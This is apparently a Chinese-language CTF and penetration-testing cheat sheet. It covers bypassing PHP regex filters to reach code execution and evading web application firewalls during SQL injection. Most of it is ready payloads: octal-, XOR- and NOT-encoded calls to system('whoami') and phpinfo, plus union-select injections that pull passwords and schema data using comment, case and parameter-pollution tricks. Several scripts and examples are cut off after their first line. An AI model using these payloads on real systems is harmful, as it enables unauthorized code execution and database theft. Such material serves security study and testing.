正则绕过
# 代码执行函数
首先
eval()
最常见的代码执行函数 把字符串 code 作为 PHP 代码执行
eval ( string $code ) : mixed |
assert()
检测一个断言是否为 false
PHP 5 |
PHP 7 |
assert()
会检查指定的 assertion
并在结果为 false
时采取适当的行动。在 PHP5
或 PHP7
中,如果 assertion
是字符串,它将会被 assert()
当做 PHP
代码来执行。
preg_replace()+/e
执行一个正则表达式的搜索和替换(一般用来)
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed |
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。如果 pattern
的模式修饰符使用 /e
,那么当 subject
被匹配成功时, replacement
会被当做 PHP 代码执行
PS:
preg_replace()+
函数的/e
修饰符在PHP7
中被移除
create_function()
创建一个匿名 (lambda 样式) 函数
create_function ( string $args , string $code ) : string |
根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造 payload 传递给 create_function()
对 参数或函数体
# 可回调函数
array_map()
为数组的每个元素应用回调函数
array_map ( callable $callback , array $array , array ...$arrays ) : array |
返回数组,是为 array
每个元素应用 callback
函数之后的数组。 array_map()
返回一个 array
,数组内容为 array1
的元素按索引顺序为参数调用 callback
后的结果(有更多数组时,还会传入 arrays
的元素)。 callback
函数形参的数量必须匹配 array_map()
实参中数组的数量。
call_user_func()
把第一个参数作为回调函数调用
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed |
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array ( callable $callback , array $param_arr ) : mixed |
把第一个参数作为回调函数 callback
调用,把参数数组作 param_arr
为回调函数的的参数传入。跟 array_map()
相似
array_filter()
用回调函数过滤数组中的单元
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array |
依次将 array
数组中的每个值传递到 callback
函数。如果 callback
函数返回 true
,则 array
数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
usort()
使用用户自定义的比较函数对数组中的值进行排序
usort ( array &$array , callable $value_compare_func ) : bool |
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
当 PHP < 5.6
时
当 PHP >= 5.6 & PHP < 7
时,php 有一个 参数变长
特性
# 字符串拼接绕过
字符串拼接绕过适用于过滤具体关键字的限制
使用 PHP >=7
payload:
(p.h.p.i.n.f.o)(); |
在 PHP 中不一定需要
引号(单引号/双引号)
来表示字符串。PHP 支持我们声明元素的类型,比如$name = (string)mochu7;
,在这种情况下,$name
就包含字符串"mochu7"
,此外,如果不显示声明类型,那么 PHP 会将圆括号内的数据当成字符串
来处理
# 字符串转义绕过
适用版本 PHP>=7
以八进制表示的 \[0–7]{1,3}
转义字符会自动适配 byte(如 "\400" == “\000”
)
以十六进制的 \x[0–9A-Fa-f]{1,2}
转义字符表示法(如 “\x41"
)
以 Unicode 表示的 \u{[0–9A-Fa-f]+}
字符,会输出为 UTF-8 字符串
payload 处理脚本:
# -*- coding:utf-8 -*- |
payload:
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo(); |
另外,八进制的方法可以绕过 无字母传参
进行代码执行
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami'); |
# 多次传参绕过
如果过滤了 引号(单引号/双引号)
,可以通过以下方法绕过
GET: |
如果 PHP版本大于7
这里还可以用拼接的方法绕过过滤引号
(sy.st.em)(whoami); |
另外如果碰到参数长度受限制,也可以通过多次传参的方法绕过参数长度限制或者回调函数
回调函数可能大部分看限制的具体长度,但是在 PHP >= 5.6 & PHP < 7
时对以上过滤方法可以绕过
# 内置函数访问绕过
get_defined_functions()
:返回所有已定义函数的数组
利用这种方法首先还需要知道 PHP 的具体版本,因为每个版本的 get_defined_functions()
返回的值都是不一样的,这里以 php7.4.3
为准
# 异或过滤
在 PHP 中两个字符串异或之后,得到的还是一个字符串。
例如:我们异或 ?
和 ~
之后得到的是 A
字符:? ASCII码:63 二进制: 0011 1111 |
接下来看一道例题:
|
过滤了 所有英文字母和数字
,但是我们知道 ASCII 码中还有很多 字母数字之外的字符
,利用这些字符进行异或可以得到我们想要的字符
PS:取 ASCII 表种非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号
脚本如下:
# -*- coding: utf-8 -*- |
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c'); |
payload:
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo(); |
当过滤字符的范围没有那么大,或者只是过滤关键字的时候可以使用如下脚本
# -*- coding: utf-8 -*- |
PS C:\Users\Administrator> php -r "var_dump('000000'^'CICDU]');" |
再放个网上看到的 payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo |
# URL 编码取反绕过
还是上面的例题
当 PHP>=7 时,可以直接利用取反构造 payload
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));" |
(~%8F%97%8F%96%91%99%90)(); |
这里给一个 php 的转化
|
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号 |
有参数的
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));" |
(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96); |
# 如何绕过 WAF
\1. 当我们在目标 URL 进行 SQL 注入测试时,可以通过修改注入语句中字母的大小写来触发 WAF 保护情况。如果 WAF 使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过 WAF 的过滤。
http://www.xxxxx.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 |
\2. 关键字替换 (在关键字中间可插入将会被 WAF 过滤的字符) – 例如 SELECT 可插入变成 SEL
http://www.xxxxx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4 |
\3. 编码
+ URL encode |
\4. 使用注释
在攻击字符串中插入注释。例如,/!SELECT/ 这样 WAF 可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由 mysql 数据库处理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users# index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… |
\5. 某些函数或命令,因为 WAF 的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() |
\6. 使用特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。
+ ` symbol: select `version()`; + +- :select+id-1+1.from users; + @:select@^1.from users; +Mysql function() as xxx +`、~、!、@、%、()、[]、.、-、+ 、|、%00 示例 |
\7. HTTP 参数控制
通过提供多个参数 = 相同名称的值集来混淆 WAF。例如 http://www.xxxxx.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下 (例如使用 Apache/PHP),应用程序将仅解析最后 (第二个) id= 而 WAF 只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的 WAF 都不会受到 HTTP 参数污染 (HPP) 的影响,但仍然值得一试。
+ HPP(HTTP Parameter Polution))
/?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&id=2,3+from+users+where+id=1— /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users |
HPP 又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的 Web 服务器处理方式如下:
+HPF (HTTP Parameter Fragment)
这种方法是 HTTP 分割注入,同 CRLF 有相似之处 (使用控制字符 %0a、%0d 等执行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— |
+HPC (HTTP Parameter Contamination)
RFC2396 定义了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ]
` 不同的 Web 服务器处理处理构造得特殊请求时有不同的逻辑:以魔术字符 % 为例,Asp/Asp.net 会受到影响。
\8. 缓冲区溢出
WAF 和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么 WAF 可能就会崩溃,即使不能代码执行那也会使 WAF 无法正常运行。这样,WAF 的安全防护自然也就被瓦解了。
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 |
\9. 整合绕过
当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。
www.xxxxx.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- |